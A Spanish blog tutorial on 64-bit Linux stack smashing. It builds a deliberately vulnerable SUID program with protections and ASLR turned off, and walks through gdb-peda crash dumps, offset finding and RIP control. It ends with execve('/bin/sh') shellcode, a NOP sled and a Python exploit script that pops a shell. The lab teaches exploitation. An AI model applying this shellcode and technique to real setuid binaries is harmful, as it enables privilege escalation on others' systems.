- Los registros de propósito general se han ampliado a 64 bits. Así que ahora tenemos RAX, RBX, RCX, RDX, RSI y RDI.
- El puntero de instrucción (instruction pointer), el puntero de base (base pointer) y el puntero de pila (stack pointer) también se han ampliado a 64 bits como RIP, RBP y RSP respectivamente.
- Se han proporcionado registros adicionales: R8 a R15.
- Los punteros tienen un ancho de 8 bytes.
- Push/pop en la pila tienen 8 bytes.
- El tamaño máximo de dirección canonical/userspace es de 48bits, los menos significativos: 0x00007FFFFFFFFFFF.
- Los parámetros de las funciones se pasan a través de registros.
Dicho ésto, vamos a empezar con el clásico smashing stack explotando el binario a partir del siguiente código:
#include <stdio.h>
#include <unistd.h>
int vuln() {
char buf[80];
int r;
r = read(0, buf, 400);
printf("\nHas pasado %d bytes. buf es %s\n", r, buf);
puts("No shell!");
return 0;
}
int main(int argc, char *argv[]) {
vuln();
return 0;
}
Lo compilamos sin las protecciones correspondientes:
$ gcc -fno-stack-protector -z execstack ejercicio1x64.c -o ejercicio1x64
Le ponemos el SUID para obtener posteriormente una root shell:
$ sudo chown root ejercicio1x64
$ sudo chmod 4755 ejercicio1x64
Y no olvidemos desactivar temporalmente ASLR para el ejercicio:
echo 0 > /proc/sys/kernel/randomize_va_space
Probamos la ejecución normal del programa:
$ ./ejercicio1x64
AAAAAAAAAAAAAAAAAAAAAAAAAAAa
Has pasado 29 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAa
Ya tenemos el binario así que vamos manos a la obra :-P
Claramente hay un desbordamiento de búfer en la función vuln() cuando read() puede copiar hasta 400 bytes en un búfer de 80. Por lo tanto si pasamos 400 bytes deberíamos desbordar el búfer y sobrescribir RIP con nuestro payload.
Para crear rápidamente un fichero con esas 400 "A"s:
$ python3 -c 'print "A"*400' > in.txt
Y lo pasamos en la ejecución con el debugger:
gdb-peda$ r < in.txt
Starting program: /tmp/ejercicio1x64 < in.txt
Has pasado 400 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7af2224 (<__gi___libc_write>: cmp rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0
RSI: 0x555555756260 ("No shell!\n 400 bytes. buf es ", 'A' , "\220\001\n")
RDI: 0x1
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd958 ('A' ...)
RIP: 0x555555554717 (: ret)
R8 : 0x7ffff7fc14c0 (0x00007ffff7fc14c0)
R9 : 0x5e ('^')
R10: 0xffffffa2
R11: 0x246
R12: 0x5555555545c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffda50 ('A' , "\001\337\377\377\377\177")
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555555470c : call 0x555555554580
0x555555554711 : mov eax,0x0
0x555555554716 : leave
=> 0x555555554717 : ret
0x555555554718 : push rbp
0x555555554719 : mov rbp,rsp
0x55555555471c : sub rsp,0x10
0x555555554720 : mov DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd958 ('A' ...)
0008| 0x7fffffffd960 ('A' ...)
0016| 0x7fffffffd968 ('A' ...)
0024| 0x7fffffffd970 ('A' ...)
0032| 0x7fffffffd978 ('A' ...)
0040| 0x7fffffffd980 ('A' ...)
0048| 0x7fffffffd988 ('A' ...)
0056| 0x7fffffffd990 ('A' ...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000555555554717 in vuln ()
Ahora vemos que el programa crashea pero no se sobrescribe el RIP con una dirección no válida. De hecho, por el momento no controlamos RIP en absoluto. Recordar que el tamaño máximo de la dirección es 0x00007FFFFFFFFFFF y estamos sobrescribiendo RIP con una dirección no canónica de 0x4141414141414141, lo que hace que el procesador genere una excepción.
Para controlar el RIP debemos hacerlo con 0x0000414141414141, por lo que realmente el objetivo es encontrar el desplazamiento con el que sobrescribir RIP con una dirección canónica.
Podemos usar un patrón cíclico para encontrar este desplazamiento:
gdb-peda$ pattern_create 400 in.txt
Writing pattern of 400 chars to filename "in.txt"
Ahora lo volvemos a ejecutar con ese patrón:
gdb-peda$ r < in.txt
Starting program: /tmp/ejercicio1x64 < in.txt
Has pasado 400 bytes. buf es AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA�
No shell!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7af2224 (<__gi___libc_write>: cmp rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0
RSI: 0x555555756260 ("No shell!\n 400 bytes. buf es AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA\220\001\n")
RDI: 0x1
RBP: 0x416841414c414136 ('6AALAAhA')
RSP: 0x7fffffffd958 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%h"...)
RIP: 0x555555554717 (: ret)
R8 : 0x7ffff7fc14c0 (0x00007ffff7fc14c0)
R9 : 0x5e ('^')
R10: 0xffffffa2
R11: 0x246
R12: 0x5555555545c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffda50 ("A%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y\001\337\377\377\377\177")
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555555470c : call 0x555555554580
0x555555554711 : mov eax,0x0
0x555555554716 : leave
=> 0x555555554717 : ret
0x555555554718 : push rbp
0x555555554719 : mov rbp,rsp
0x55555555471c : sub rsp,0x10
0x555555554720 : mov DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd958 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%h"...)
0008| 0x7fffffffd960 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%"...)
0016| 0x7fffffffd968 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
0024| 0x7fffffffd970 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...)
0032| 0x7fffffffd978 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
0040| 0x7fffffffd980 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...)
0048| 0x7fffffffd988 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%S"...)
0056| 0x7fffffffd990 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000555555554717 in vuln ()
Como veis se puede observar el patrón en el stack.
Nos centramos en el contenido del stack pointer:
gdb-peda$ x/wx $rsp
0x7fffffffd958: 0x41413741
Y encontramos su offset:
gdb-peda$ pattern_offset 0x41413741
1094793025 found at offset: 104
Entonces, en RIP está en el offset 104 así que actualizamos nuestro payload y vemos si podemos sobrescribir RIP esta vez:
python3 -c 'from struct import pack;print("A"*104 + str(pack("<Q", 0x424242424242), "utf-8") + "C"*290)' > in.txt
Como veis packeamos en little-endian el valor del RIP (unsigned long long) y luego añadimos padding para llegar a los 400 bytes.
Pasamos nuestro payload a la función:
gdb-peda$ r < in.txt
Starting program: /tmp/ejercicio1x64 < in.txt
Has pasado 400 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7af2224 (<__gi___libc_write>: cmp rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0
RSI: 0x555555756260 ("No shell!\n 400 bytes. buf es ", 'A' , "\220\001\n")
RDI: 0x1
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd960 ('C' ...)
RIP: 0x424242424242 ('BBBBBB')
R8 : 0x7ffff7fc14c0 (0x00007ffff7fc14c0)
R9 : 0x5e ('^')
R10: 0xffffffa2
R11: 0x246
R12: 0x5555555545c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffda50 ('C' , "\001\337\377\377\377\177")
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x424242424242
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd960 ('C' ...)
0008| 0x7fffffffd968 ('C' ...)
0016| 0x7fffffffd970 ('C' ...)
0024| 0x7fffffffd978 ('C' ...)
0032| 0x7fffffffd980 ('C' ...)
0040| 0x7fffffffd988 ('C' ...)
0048| 0x7fffffffd990 ('C' ...)
0056| 0x7fffffffd998 ('C' ...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()
Y voilà! ya tenemos controlado el RIP.
Dado que este programa está compilado sin NX o stack canaries, podemos escribir nuestro código de shell directamente en la pila y volver a él.
Usaremos mismo este shellcode de 24 bytes para execve("/bin/sh"): https://www.exploit-db.com/exploits/42179.
Para ello almacenamos el shellcode en la pila a través de una variable de entorno:
$ export SC=$(python -c 'print "\x90"*10000 + "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"')
Como véis hemos metido unos NOPs al principio porque gdb mete cierta "basura" en memoria y desplaza el stack.
A continuación encontramos su dirección usando getenvaddr:
$ ./getenvaddr SC ejercicio1x64
SC will be at 0x7fffffffc445
Así que con eso ya podemos completar el payload final de nuestro exploit:
#!/usr/bin/env python
from struct import *
buf = ""
buf += "A"*104
buf += pack("<Q", 0x7fffffffc445)
f = open("in.txt", "w")
f.write(buf)
Por último generamos el fichero in.txt y se lo "enchufamos" a nuestra función vulnerable:
$ (cat in.txt ; cat) | ./ejercicio1x64
Has pasado 112 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp
No shell!
whoami
vis0r
Como véis ya tenemos shell pero sin root... recordar que al iniciar el programa con suid usando gdb no se otorgarán privilegios elevados por lo que habría que lanzar el exploit fuera del debugger. En próximas entradas veremos como usar pwntools y ejercicios poco a poco más complicados.
Fuentes:
- https://cd6629.gitbook.io/oscp-notes/buffer-overflow-wlk
- https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
- https://medium.com/@buff3r/basic-buffer-overflow-on-64-bit-architecture-3fb74bab3558
- https://www.mathyvanhoef.com/2012/11/common-pitfalls-when-writing-exploits.html
Comentarios
Publicar un comentario